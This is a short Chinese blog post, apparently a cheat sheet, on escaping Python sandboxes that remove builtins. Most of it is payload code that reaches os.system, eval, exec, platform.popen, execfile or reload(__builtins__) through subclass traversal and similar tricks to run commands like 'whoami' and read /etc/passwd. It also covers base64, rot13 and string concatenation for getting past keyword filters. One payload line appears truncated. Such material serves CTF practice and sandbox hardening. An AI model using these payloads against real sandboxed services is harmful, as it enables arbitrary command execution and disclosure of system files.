0x01 基础
关于python沙箱逃逸的基础之前的博文写过,如果有不会的可以去看看 点我
0x02 Python Sandbox
一般的沙箱会使用
1 | del __builtins__.__dict__[func] |
这种方式来删掉敏感的模块或者函数
0x03 常规的内联函数获取方法
1 | [].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].system('whoami') //执行任意命令 |
0x04 Bypass Function
timeit
1
2import timeit
timeit.timeit("__import__('os').system('ls')",number=1)eval
1
eval("__import__('os').system('whoami')")
exec
1
2exec("__import__('os').system('whoami')")
exec "__import__('os').system('whoami')"platform
1
2platform.os.system('whoami')
platform.popen('whoami').read()execfile
1
2execfile('/usr/lib/python2.7/os.py') //相当于from os import *
system('whoami')file,open
1
2file('/etc/passwd').read()
open('/etc/passwd').read()map
1
2import os
map(os.system,['whoami']) //需要import模块
0x05 Bypass
- reload方法
当del了内建模块的时候可以看看reload有没有被过滤,如果没过滤
1 | reload(__builtins__) |
- 寻找替代函数
可以用之前的0x03 常规的内联函数获取方法找到替代方法
- 字符加密
可以使用base64、rot-13这种可以可以加解密的方法绕过固定的过滤
当然字符串拼接也是可以的
如果是module类型,可以使用 dict .key()来获取方法名
可以使用dir(builtins)查看有哪些内置函数可以使用
不需要globals的payload
1
].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('whoami')